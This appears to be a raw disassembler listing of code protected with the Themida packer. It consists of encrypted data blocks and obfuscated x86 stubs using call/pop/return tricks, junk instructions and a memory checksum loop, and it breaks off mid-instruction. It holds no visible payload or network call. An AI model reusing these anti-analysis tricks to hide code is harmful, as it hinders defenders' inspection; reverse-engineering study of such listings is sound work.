dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 4708809Dh, 1D53E9C1h, 12858DEEh, 660615C8h dd 6650DF8Bh, 489D88Bh, 0A1BB6624h, 7995FFABh, 89061223h dd 121B8DBDh, 0EF816106h, 4DC4C2CFh, 10E9h, 1D4FB00h, 46DC1F06h dd 0A98E76ABh, 0F55F4DD9h, 0D985C7A5h, 306121Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0F171C352h, 0B3B5DD5Eh, 83F98BB2h, 15C812BDh dd 840F0006h, 4Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 68C35343h, 0F74023FBh, 0CD958985h, 0E9061228h dd 3Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h dd 53C35343h, 50A964E7h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 9D8BC08Bh, 61207B9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A9C35646h, 0C870F9Ah dd 0F000000h, 68Eh, 0A9BD0300h, 83061215h, 121BD9BDh, 850F0306h dd 3F7h, 0BD83DF8Bh, 615C812h, 0E8840F00h, 0FF000003h dd 15C812B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BD8B7D63h, 6120A25h, 0DE9h, 0F59F1E00h dd 74334DE5h, 0BB0EB692h, 95FF1930h, 6121AA9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8FC35646h, 5F520437h dd 63BB69A0h, 8B233B6Fh, 15C806B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 44E5F2A0h dd 5A9089A3h, 419D8BFFh, 66061209h, 9EC4E781h, 106C7h dd 0BD8B0001h, 6121051h, 0E8525096h, 13h, 0C82EE016h, 0CD644B7Fh dd 660A08EDh, 70F80EB5h, 8B4D3947h, 310F5BDEh, 0FE860h dd 142A0000h, 5ABC386Dh, 0E80BBA83h, 0D993365Eh, 5E575807h dd 50585A61h, 12E8h, 0D55D2900h, 6122946Fh, 0D040E661h dd 0EC3C2B12h, 66B8462Bh, 965FD98Bh, 6C2AD381h, 0B5FF6B3Fh dd 615C812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0BAC35646h, 4DBD8B79h, 8B061218h, 122EEDBDh, 595FF06h dd 6A06121Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0E4EBC353h, 73BE425Fh, 0AE97414h dd 31000000h, 7FC03920h, 9A592E33h, 6B58B96h, 0BF0615C8h dd 177F1C60h, 1A5858Bh, 81660612h, 893C79F7h, 0C486h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8B66EA57h, 12E8DAh, 0B9BB0000h, 68FC154Ah, 7017AF46h dd 0BF1CA08Ch, 0B5A9B294h, 2CD9BD33h, 8B5B0612h, 1209A195h dd 0C7816606h, 0C2836318h, 36EABB04h, 5089008Fh, 50006A20h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 39FE03E5h, 0F88B0706h, 0DC6F858Dh, 0F3800615h, 0B88689E5h dd 50000000h, 1B699529h, 6A5B0612h, 69BD8B00h, 0FF061210h dd 15C812B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0BABB66F6h, 0A595FF1Eh, 6A061206h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 14DAC351h, 6EBF66DDh, 12E946h, 6D2A0000h dd 3263FEh, 0BCB5DC44h, 5528D221h, 0B7AEE87Bh, 0F98B6650h dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 6B9DC351h, 0B5FF037Eh, 615C812h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2FC35040h dd 0CE04484h, 423245E6h, 1D759D8Bh, 81660612h, 0FF5BABDFh dd 12028195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0FADC1301h, 35B0E566h, 0BD83DCE6h dd 6122A09h, 30840F00h, 80000000h, 0BB5023F7h, 75E84DDBh dd 6A243489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 9F7CC353h, 2E5D7803h, 0FFF98B66h dd 15C812B5h, 759D2906h, 0FF06120Ch, 1218C195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 12B5FF0Bh, 0BB0615C8h, 4B902931h, 1BA195FFh, 83F80612h dd 121EB1BDh, 840F0206h, 43h, 24159589h, 858B0612h, 61203A5h dd 0C6FABF0Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0C6FF96C3h, 759D8BCBh, 0F061230h dd 680h, 159D8B00h, 0C7061219h, 121B5985h, 6, 8CF38100h dd 0E91F068Ah, 0FFFFF304h, 1318589h, 0C18B0612h, 15458D89h dd 858D0612h, 6122E01h, 57F56053h, 505B6158h, 0F8240489h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 9531F4C3h, 612101Dh, 6E9006Ah, 76000000h dd 88AA21A4h, 5A858D20h, 8306168Bh, 6A05C0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0C112F6C3h dd 5557428Eh, 8BD477E0h, 121FF5BDh, 66609006h, 0FCD63BFh dd 58Dh, 4A4CBA00h, 50613541h, 0AE8h, 4BC2EC00h, 655E8939h dd 501EC377h, 14E852h, 0E87F0000h, 66982142h, 7905FFEBh dd 0B3704494h, 613E31Fh, 0F5FB5C9h, 8B0F31h, 5A000000h dd 8B905B58h, 120ED9BDh, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FBDC357h dd 8B50DEB7h, 6A5BDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 73C35343h, 9793F4A9h, 9BBFE945h, 0B595FF07h dd 5106120Dh, 1E806EBFh, 8D8D5B15h, 615AF02h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 80C35747h, 376A6E0Ah dd 0AF42F679h, 219D8B13h, 0FF06122Ch, 50006AD1h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0ADDB75F4h, 8908CB81h, 0BD830CD4h, 61207ADh, 0BD850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0BA14C355h, 8CA7AA96h, 26A03C9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9FC35545h dd 4820F1Ah, 66000000h, 90188CBBh, 0F880Fh, 66600000h dd 5E9C88Bh, 0C2000000h, 0F442AD17h, 66505061h, 905BD98Bh dd 12E8h, 0C466FB00h, 8F95DC24h, 5EFD2218h, 0D5EB24B1h dd 0B31FE0EDh, 0BD8B5BA8h, 6121F7Dh, 6A595FFh, 6A0612h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 409D3AC3h, 517F2E21h, 0FDB313Eh, 38Ch, 0DFB70F00h, 0CA2E9h dd 0E800h, 815D0000h, 168B64EDh, 15BD8B06h, 0BF061224h dd 251AC002h, 9437858Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0E01A88C3h, 0B0F55082h dd 0BB90FB8Bh, 45F85939h, 11E950h, 2C8C0000h, 6CE7CB61h dd 144535Ah, 0A7F5F116h, 902EC9C1h dd 30F78166h, 35FF642Dh, 0 ; --------------------------------------------------------------------------- mov di, bx mov large fs:0, esp push 0 push edi call sub_58F5F5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F5F5 proc near ; CODE XREF: Themida_:0058F5EDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_58F5F5 endp ; --------------------------------------------------------------------------- adc [esp+edi*8-62749107h], edx inc ebp pop ss adc al, [esi] inc dword ptr [ebp+6120679h] xor ebx, 688A1F70h push 0FFFFFFFFh push 0 push edx call sub_58F629 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F629 proc near ; CODE XREF: Themida_:0058F621p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_58F629 endp ; --------------------------------------------------------------------------- pop esi test cl, 0C5h sbb eax, 793F7520h mov bx, 973Dh push dword ptr [ebp+6120CD1h] movzx edi, dx call dword ptr [ebp+6122CB5h] jmp loc_58F7B4 ; --------------------------------------------------------------------------- dw 8A0Fh dd 8, 0FDBD8B56h, 5B06120Dh, 2B6000B0h, 1222DDB5h, 70E66106h dd 0BDE1D781h, 71E430A0h, 3880Fh, 8B660000h, 0F613CDEh dd 12783h, 0FFE8B00h, 890FC8B6h, 0 ; --------------------------------------------------------------------------- mov edx, 6 sub [ebp+612039Dh], ecx mov eax, ecx jmp loc_58F6B6 ; --------------------------------------------------------------------------- dw 0C14Eh dd 438A0632h, 0D4035B92h db 49h, 0Ah ; --------------------------------------------------------------------------- loc_58F6B6: ; CODE XREF: Themida_:0058F6A5j shr eax, 4 sub edi, 26E621A5h mul dx push edx mov bh, 9Dh pop ebx jmp loc_58F6D3 ; --------------------------------------------------------------------------- db 95h dd 0A3FCD63Ch db 0C1h, 2Dh, 8Ah ; --------------------------------------------------------------------------- loc_58F6D3: ; CODE XREF: Themida_:0058F6C6j sub ecx, eax mov edx, ecx mov edi, [ebp+6121D69h] jmp loc_58F6E9 ; --------------------------------------------------------------------------- cld mov edi, [ebp+6122291h] loc_58F6E9: ; CODE XREF: Themida_:0058F6DDj mov eax, [ebp+6121405h] jns loc_58F711 call near ptr loc_58F70A+4 mov fs, word ptr [eax] mov esp, 0ACB3AFE2h or [ecx], edi outsd call near ptr 3B354A1Bh push eax loc_58F70A: ; CODE XREF: Themida_:0058F6F5p sbb eax, 8B21215Dh clc pop ebx loc_58F711: ; CODE XREF: Themida_:0058F6EFj mov ebx, [ebp+6120D4Dh] add eax, 7 pusha mov [ebp+6120A09h], edi mov esi, [ebp+6121761h] popa add eax, 0 jmp loc_58F742 ; --------------------------------------------------------------------------- dd 0F37889BBh, 2C9F7F7Ch, 0DFFC920Ah, 94E22BF8h ; --------------------------------------------------------------------------- mov bh, 0C0h loc_58F742: ; CODE XREF: Themida_:0058F72Bj or [ebp+6121345h], ebx cmp edx, eax jnb loc_58F76A jmp loc_58F7B4 ; --------------------------------------------------------------------------- jo loc_58F75E xor bl, 0D0h loc_58F75E: ; CODE XREF: Themida_:0058F755j jo loc_58F76A mov [ebp+6121C39h], esi loc_58F76A: ; CODE XREF: Themida_:0058F74Aj ; Themida_:loc_58F75Ej mov ecx, [ebp+61203EDh] sbb di, 0E53h mov bh, 0E0h and ecx, 1 jz loc_58F7B4 mov bx, 869Ah and dword ptr [ebp+61203EDh], 0FFFFFFFEh call sub_58F799 push cs fxtract retn ; --------------------------------------------------------------------------- test [esi-3Ch], edx adc al, 17h ; =============== S U B R O U T I N E ======================================= sub_58F799 proc near ; CODE XREF: Themida_:0058F78Bp mov ebx, esi pop edi sub edi, 35265778h mov [ebp+6121405h], edx jbe loc_58F7AF cmc loc_58F7AF: ; CODE XREF: sub_58F799+Fj jmp $+5 loc_58F7B4: ; CODE XREF: Themida_:0058F655j ; Themida_:0058F750j ... lea esi, [ebp+6160CCEh] mov di, bx push 0 push 0 push ebx call sub_58F7CA and [ebx-3Dh], bl sub_58F799 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58F7CA proc near ; CODE XREF: sub_58F799+29p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_58F7CA endp ; --------------------------------------------------------------------------- inc esi jnb loc_58F7E6 push ebx adc bl, 55h pop edi loc_58F7E6: ; CODE XREF: Themida_:0058F7DBj add [ebp+61203ADh], edi call dword ptr [ebp+61219CDh] or [ebp+6121EC1h], edi mov ecx, 8AFh mov [ebp+61221DDh], eax and ecx, 0FFFFFFFCh mov ebx, 0A20A492h cld and bx, 72E0h mov [ebp+6121A31h], ecx sub eax, eax mov bx, ax mov edx, 0 mov edi, [ebp+6122CCDh] jmp loc_58F832 ; --------------------------------------------------------------------------- dd 6FD0733Ah db 99h, 82h ; --------------------------------------------------------------------------- loc_58F832: ; CODE XREF: Themida_:0058F827j ; Themida_:0058F83Cj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58F832 push 0 push ebx call sub_58F849 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F849 proc near ; CODE XREF: Themida_:0058F841p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_58F849 endp ; --------------------------------------------------------------------------- wait jmp short loc_58F87F ; --------------------------------------------------------------------------- mov ebp, 6121F55h push 0 push esi call sub_58F86C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F86C proc near ; CODE XREF: Themida_:0058F864p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_58F86C endp ; --------------------------------------------------------------------------- db 0FBh, 9Ah, 0 ; --------------------------------------------------------------------------- loc_58F87F: ; CODE XREF: Themida_:0058F85Aj sbb al, 1Fh xchg eax, edx jmp edx ; --------------------------------------------------------------------------- dd 0BD8B3AE0h, 6120461h, 880Dh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 811A9DA4h dd 0E5B369DFh, 0A1958B28h, 6A061209h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 832DC350h dd 0FB7A1837h, 0BB2E0315h, 7512DFDDh, 5058D8Bh, 6A0612h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0FCF90AC3h, 0E781666Ch, 8B500C1Eh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 75C35242h, 5A7F51EEh, 52E1F264h, 0BD835BFCh dd 6122121h, 25840F00h, 66000000h, 0B8DF8Bh, 8B000000h dd 121BB1BDh, 0B58D8D06h, 8006124Dh, 0E1FF8FEBh, 68C0Fh dd 85890000h, 6122E09h, 1BD9BD83h, 0F000612h, 3D284h, 0CE900h dd 1D820000h, 0FD166587h, 0C863DCAAh, 0BD835F9Ah, 6121BD9h dd 0CF840F01h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 14CC352h, 0C9BD094Eh dd 83061206h, 121BD9BDh, 860F0306h, 368h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0AAC35343h, 81EB37FCh dd 468D4FF7h, 66F96053h, 0D98BD98Ch, 8B04E180h, 122329BDh dd 0FC90A06h, 0DA84h, 858BF500h, 612308Dh, 85338AB7h, 6123165h dd 0D51CCB81h, 89507877h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0F31ACDC3h, 3181A906h dd 1216818Dh, 6A006A06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0A66BC351h, 10D98501h dd 10E80612h, 0FE000000h, 15BA2DF1h, 3A5B8BACh, 7DC95E45h dd 5BABF4E1h, 0CFFDFB68h, 24048197h, 684F0604h, 4E5B529h dd 95FF0612h, 6122379h, 12E9h, 0F9E16800h, 0B5B86A19h dd 0B926EFA0h, 0DF20E74Fh, 89AC1AFCh, 15C81285h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 5BA2C1DEh, 0D7EEA373h, 1BCE9F9h, 8BFC0000h, 15C80A85h dd 499D8906h, 89061218h, 121F6985h, 1800C706h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0A2AAC357h, 551A7776h, 93FD6935h, 159D01h dd 0B58B0612h, 615C80Eh, 858BF88Bh, 6122AB9h, 660689FCh dd 0B7E010BBh, 8D858B77h, 6A061230h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8809C352h dd 31899D33h, 46890612h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0ACF63B33h, 8D1ABFE2h dd 50FB8BBAh, 0D473B960h, 896179F9h, 5FBB2434h, 0FF4B2B4Bh dd 15C80AB5h, 14E906h, 35D40000h, 661514D2h, 40B4B1CEh dd 764359Eh, 0F9C06354h, 0BD31986Ah, 6121651h, 4E8h, 1F03FF00h dd 50D88A00h, 424448Bh, 0F08B6660h, 0C40FBE66h, 66008B61h dd 4489FE8Bh, 0F600424h, 484h, 0D0BF6600h, 8E934h, 0A98D0000h dd 63366E1Eh, 58616A6Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0EBC35141h, 19F99D2Bh, 858D0612h, 615C812h dd 0AE9h, 17609E00h, 6F0E227Bh, 0BBEBE437h, 73D932ECh dd 4800F50h, 52000000h, 895F5B56h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0AF936CC3h dd 54B2A13Ah, 0BF0F38ACh, 7995FFFEh, 6A061223h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 8A2CC357h, 6EAC22A1h, 0A21BD89h, 6A610612h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 66B4C352h, 0B514320Fh, 850F8764h, 7, 0A793BF52h, 0C75B356Eh dd 121BD985h, 306h, 85096000h, 6122861h, 12E9h, 97F83B00h dd 396F7050h, 842759E5h, 0C6C249FCh, 6152F8D0h, 0C812BD83h dd 0F000615h, 2F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 1795F45Bh, 0C0F78166h dd 21E9B1h, 9D890000h, 6121EA9h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 3144C350h, 0DF7060E1h dd 4033DF81h, 0BF660736h, 0BD830AD6h, 6121BD9h, 1A850F03h dd 89000004h, 121A1DB5h, 12BD8306h, 615C8h, 407840Fh, 27B70000h dd 0C812B5FFh, 0F7800615h, 0A995FF2Bh, 6A06121Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8B06C352h, 15C806B5h, 9832BF06h, 6C77EA0h, 10001h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6C35646h, 3BE38166h dd 68C0F05h, 8B000000h, 121C919Dh, 14E906h, 0C92F0000h dd 74FCA19Ch, 3A7344B5h, 64EBF52Dh, 5AA5486Dh, 60961872h dd 0E4BB6650h, 0CE959C2h, 0BA000000h, 7DD66F27h, 86C0EAD8h dd 61959ADEh, 96F98B50h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0FC35747h, 0EB1C8CECh, 9BF6500Dh, 0B5FF1BB3h dd 615C812h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0B3C35141h, 95FF34D1h, 6121C05h, 1AFA30BFh, 6B58B75h dd 500615C8h, 860F57h, 5F000000h, 0A5858B5Fh, 6A061201h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0F49CC352h, 66348C24h, 0F04BDF81h, 0C48689h dd 8BF80000h, 1209A195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 5D2D5232h, 2F699D23h dd 0C2830612h, 45950904h, 89061212h, 6A2050h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C58AB8C3h dd 359A7E50h, 29F9E6B8h, 122CA5BDh, 6F858D06h, 660615DCh dd 89E7AFBFh, 0B886h, 74D38100h, 6A331E86h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0F0279544h, 0E312582Eh, 9D89F694h, 61213E5h, 0C812B5FFh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0D77642C3h, 0B4792F7h, 0E8B65627h, 10h, 0E0B3C3BAh dd 0A1C94AE5h, 95741C27h, 70B6797h, 0FF5BD88Bh, 1206A595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 2682E603h, 850FB6D6h, 6, 767AEB81h, 0E8504CB6h dd 5, 0A76ABEDBh, 0DE9CCh, 0FA690000h, 57440961h, 57B9DED7h dd 5FCDD372h, 0FF243489h, 15C812B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0A3A2F948h dd 0EA2DA14Fh, 28195FFh, 6A0612h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 543B39C3h, 9BD83F7h, 6122Ah, 48840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0FD51FCC3h, 7A25624Bh, 89502946h, 14E82434h, 5F000000h dd 90E8BD77h, 0FF20C723h, 0D17FAE60h, 3076C568h, 890BBE0Ah dd 121B3D8Dh, 0B5FF5B06h, 615C812h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 1CC35646h, 92DA1C8Dh, 8166BEACh dd 0FF879FDFh, 1218C195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 95E7818Ch dd 0FF790CDCh, 15C812B5h, 0E5B52906h, 0FF061221h, 121BA195h dd 0C5BD8B06h, 83061205h, 121EB1BDh, 840F0206h, 49h, 0A5858BF5h dd 6A061203h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 20B1C357h, 0A116F1B9h, 0C6F6h dd 9E8h, 0E77E6700h, 0C2A84729h, 9D8B93AFh, 6121671h, 2850F5Bh dd 8A000000h, 5985C7F9h, 6121Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4267C353h dd 92F7D776h, 0F436E947h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0BA764FC3h, 0CD444F80h dd 1858D89h, 0C18B0612h, 0FD8D89FCh, 8D06121Ch, 122E0185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 9D8BB055h, 6122BC5h, 0E9525090h, 12h, 77FB8C79h dd 0C99F8209h, 0EF120C2Ch, 0B0BB8E38h, 310F24CBh, 5AFE8B66h dd 8C0F5058h, 8, 0F525060h, 61585A31h, 11E990h, 9CA00000h dd 32D61AEEh, 1BD232B5h, 0FB914BFAh, 6A1C009Ah, 52006A00h dd 0FE9h, 3F007300h, 20D5A45Ah, 0F8C7ABBDh, 66DDE9C3h dd 18858D5Fh, 3106169Ah, 1207698Dh, 5C08306h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C6C35141h, 1EEC61E7h dd 90ED1B7Bh, 13E950h, 0C1410000h, 3EE04623h, 42C89BB2h dd 0D53E0D41h, 91C95AC2h, 60505BE9h, 66C88B66h, 9061F38Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 91C35141h dd 0DE5B9F44h, 6A62D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0F5C35242h, 773AEB81h, 0BE95457h, 3B000000h dd 1D4FBDBh, 46DC1F06h, 6A76ABh, 5E960h, 41E10000h, 61B88632h dd 0DB595FFh, 17BB0612h, 8D79FE0Dh, 15AF028Dh, 0FFF8B306h dd 0A58D89D1h, 8306121Dh, 1207ADBDh, 850F0106h, 0AAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9EC35646h, 63BDA868h dd 6810FBBh, 2B000000h, 120ED1BDh, 6A026A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0A132C351h, 6660503Ah, 8B66DF8Bh, 48961DFh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 992BC527h, 0F138F96h, 95FFFFBFh, 61206A5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 68C35040h, 0FCC69E73h dd 13BD9D0Bh, 57E90612h, 0E800000Dh, 0 dd 22ED815Dh, 6606169Ah, 5B84DB81h, 0ADADBB66h, 9437858Dh dd 0FC8A0615h, 0BE850h, 0F39E0000h, 0BAB2974Ah, 6BE33704h dd 0E8525014h, 5, 5B11ED6Ch, 310F5F18h, 585A6160h, 2404895Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 92C35545h dd 198D0145h, 64061210h, 35FFh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1A97E2C3h dd 0FD492175h, 89647AB3h, 25h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 98D3AF82h dd 8529CC58h, 6121019h, 299D9D01h, 85FF0612h, 6120679h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B2C35141h dd 0A94EEF18h, 29F07499h, 1214F59Dh, 0BFF6A06h, 1222CDBDh dd 0B9B5FF06h, 6A06122Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 4F0FC351h, 0DB80AB5Dh dd 0B1BD8B2Ah, 0FF06122Ch, 122CB595h, 112E906h, 0DF8B0000h dd 0B50900B0h, 61204E9h, 850F70E6h, 6, 19A99589h, 830F0612h dd 6, 2415BD8Bh, 71E40612h, 66FBB70Fh, 1233C781h, 830F613Ch dd 0DCh, 0C8B60FFCh, 58A0Fh, 81660000h, 0F4580EFh, 685h dd 49B58900h, 0BA061215h, 6, 7D362CBFh, 0C1C18B52h, 0BD8B04E8h dd 61204B5h, 0EA59529h, 0F7660612h, 6D8D89E2h, 66061211h dd 770AEF81h, 8BF5C82Bh, 27BB66D1h, 1BE985h, 12E80000h dd 4D000000h, 7F6C7A8Bh, 59B350Fh, 1AB004CDh, 0E360EA78h dd 0D8BF0FA2h, 59858B5Bh, 1061219h, 120525B5h, 7C08306h dd 8900C083h, 1228D185h, 0FD03B06h, 1183h, 0F3816600h dd 45E9B8F4h, 66000000h, 0BF66DA8Bh, 8D8B33ABh, 61218D1h dd 0F3815B53h, 247FF2C8h, 0F01E183h, 2784h, 3890F00h, 0F000000h dd 0A583DAB7h, 61218D1h, 4DCF80FEh, 1E59D8Bh, 95890612h dd 6121959h, 0E9DF8B66h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+61617C1h] push 0 push eax call sub_59068D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59068D proc near ; CODE XREF: Themida_:00590685p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_59068D endp ; --------------------------------------------------------------------------- adc dh, [ebx+ebp*8+29B19D05h] cmp [edi+67h], ecx mov edi, [ebp+61228EDh] push 0 push 0 push ebp call sub_5906BA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5906BA proc near ; CODE XREF: Themida_:005906B2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5906BA endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 18h dd 7B1D3F6h, 7367CF9Bh, 19CD95FFh, 0B9F80612h, 835h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3BC35646h, 748D8466h dd 8916D044h, 1200EDB5h, 0FCE18306h, 45B52960h, 3061205h dd 121E458Dh, 6AFC6106h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 834C351h, 91805CCBh dd 0F017042h, 681h, 0A5BD8B00h, 0B8061207h, 0 ; --------------------------------------------------------------------------- push 0 push ecx loc_590753: ; CODE XREF: Themida_:005907A0j call sub_59075B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59075B proc near ; CODE XREF: Themida_:loc_590753p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push 